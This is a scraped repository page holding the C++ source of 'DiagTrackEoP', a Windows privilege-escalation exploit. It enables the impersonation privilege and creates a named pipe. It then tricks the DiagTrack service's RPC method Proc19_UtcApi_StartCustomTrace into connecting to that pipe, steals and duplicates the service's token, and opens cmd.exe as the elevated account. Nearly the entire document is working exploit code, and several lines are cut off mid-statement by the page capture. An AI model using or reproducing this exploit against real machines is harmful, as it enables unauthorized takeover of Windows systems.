DiagTrackEoP / main.cpp

Wh04m1001 Create main.cpp 2a54ef0 · 2 years ago History

```
#include <Windows.h>
#include <strsafe.h>
#include <stdio.h>
```

DiagTrackEoP / main.cpp ↑ Top

Code Blame 189 lines (160 loc) · 5.44 KB Raw

```
#pragma comment(lib,"RpcRT4.lib")



HANDLE duptoken = INVALID_HANDLE_VALUE;

VOID Trigger(LPWSTR uuid);
HANDLE GetToken();
VOID Pipe(LPWSTR pipename);
BOOL EnablePriv(HANDLE token, LPCWSTR privilege);
VOID Execute(HANDLE token);
int wmain(int argc, wchar_t** argv) {

    BOOL enabled = TRUE;
    WCHAR pipe_name[] = L"thisispipe";
    HANDLE token;

    OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &token);

    enabled = EnablePriv(token, SE_IMPERSONATE_NAME);
    if (!enabled) {
        printf("[!] Failed to enable privilege!\n");
        exit(1);
    }
    CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Pipe, pipe_name, 0, NULL);

    HANDLE interactive = GetToken();
    ImpersonateLoggedOnUser(interactive);
    Trigger(pipe_name);
    do {
        Sleep(500);

    } while (duptoken == INVALID_HANDLE_VALUE);
    Execute(duptoken);
}

HANDLE GetToken() {
    HANDLE pHandle;
    LogonUserW(L"thisisnotvaliduser", L".", L"thisisnotvalidpass", 9, LOGON32_PROVIDER_
    return pHandle;
}
BOOL EnablePriv(HANDLE token, LPCWSTR privilege) {
    DWORD retlen;
    TOKEN_PRIVILEGES tp;
    LUID luid;

    if (!LookupPrivilegeValueW(NULL, privilege, &luid)) {
        printf("[!] Error[LookupPrivilegeValue]: %d\n", GetLastError());
        return FALSE;
    }
```

```
        }
        tp.PrivilegeCount = 1;
        tp.Privileges[0].Luid = luid;
        tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
        if (!AdjustTokenPrivileges(token, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRI
            printf("[!] Error[AdjustTokenPrivileges]: %d\n", GetLastError());
            return FALSE;
        }
        if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)

        {
            printf("[!] Token does not have %ls privilege.\n", privilege);
            return FALSE;
        }
        printf("[+] Privilege %ls enabled!\n", privilege);
        return TRUE;
    }
    VOID Pipe(LPWSTR pipename) {

        HANDLE g_pipe = INVALID_HANDLE_VALUE;;
        wchar_t pipe[MAX_PATH] = { 0x0 };
        HANDLE token = NULL;
        _swprintf(pipe, L"\\\\.\\pipe\\%s", pipename);
        g_pipe = CreateNamedPipe(pipe, PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED, PIPE_TYPE

        if (g_pipe == INVALID_HANDLE_VALUE)
        {
            printf("[!] Error[CreateNamedPipe]: %d\n", GetLastError());
            exit(1);
        }
        printf("[+] Pipe %ls created!\n", pipe);

        printf("[*] Waiting for client...\n");
        if (!ConnectNamedPipe(g_pipe, NULL)) {
            printf("[!] Error[ConnectNamedPipe]: %d\n", GetLastError());
            exit(1);

        }
        printf("[+] Client Connected!\n");
        if (!ImpersonateNamedPipeClient(g_pipe)) {
            printf("[!] Error[ImpersonateNamedPipeClient]: %d\n", GetLastError());
            exit(1);
        }
        printf("[+] Named Pipe impersonation successful!\n");

        if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &token)) {
            printf("[!] Error[OpenThreadToken]: %d\n", GetLastError());
            exit(1);
        }
        if (!DuplicateTokenEx(token, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPri
            printf("[!] Error[DuplicateTokenEx]: %d\n", GetLastError());
            exit(1);
        }
        printf("[+] Token duplicated!\n");

        DisconnectNamedPipe(g_pipe);
        CloseHandle(g_pipe);
    }
    VOID Execute(HANDLE token) {
        BOOL enabled;
        PROCESS_INFORMATION pi;
        STARTUPINFO si;
        LPVOID env;
        WCHAR desktop[] = L"winsta0\\default";
        enabled = EnablePriv(token, SE_ASSIGNPRIMARYTOKEN_NAME);
        if (!enabled) {
            printf("[!] Failed to enable privilege!\n");
            exit(1);
        }
        if (!CreateEnvironmentBlock(&env, token, TRUE))
        {
            printf("[!] Error[CreateEnvironmentBlock]: %d\n", GetLastError());
            exit(1);
        }
        ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(STARTUPINFO);
    si.lpDesktop = desktop;
    if (!ImpersonateLoggedOnUser(token)) {
        printf("[!] Error[ImpersonateLoggedOnUser]: %d\n", GetLastError());
        exit(1);
    }
    if (!CreateProcessAsUserW(token, L"c:\\windows\\system32\\cmd.exe", NULL, NULL, NUL
        printf("[!] Error[CreateProcessAsUserW]: %d\n", GetLastError());
        exit(1);
    }
    printf("[+] Dropping to interactive shell!\n\n\n");
    fflush(stdout);
    WaitForSingleObject(pi.hProcess, INFINITE);
    RevertToSelf();
    CloseHandle(token);
}
VOID Trigger(LPWSTR uuid)
{
    RPC_STATUS status;
    RPC_WSTR StringBinding;
    RPC_BINDING_HANDLE Binding;

    status = RpcStringBindingCompose((RPC_WSTR)L"4c9dbf19-d39e-4bb9-90ee-8f7179b20283",



    status = RpcBindingFromStringBinding(StringBinding, &Binding);


    RpcTryExcept
    {
        wchar_t a[MAX_PATH];
        _swprintf(a, L"\\\\127.0.0.1\\pipe\\%s", uuid);
        long long t = 1;
        printf("[*] Triggering Proc19_UtcApi_StartCustomTrace using %ls as path!\n",a);
        long res = Proc19_UtcApi_StartCustomTrace(Binding,a,t);

    }
    RpcExcept(EXCEPTION_EXECUTE_HANDLER);
    {
        printf("[!] Exception: %d - 0x%08x\r\n", RpcExceptionCode(), RpcExceptionCode()
        exit(1);
    }
    RpcEndExcept

        status = RpcBindingFree(&Binding);


}
void __RPC_FAR* __RPC_USER midl_user_allocate(size_t cBytes)
{
    return((void __RPC_FAR*) malloc(cBytes));
}

void __RPC_USER midl_user_free(void __RPC_FAR* p)
{
    free(p);
}
```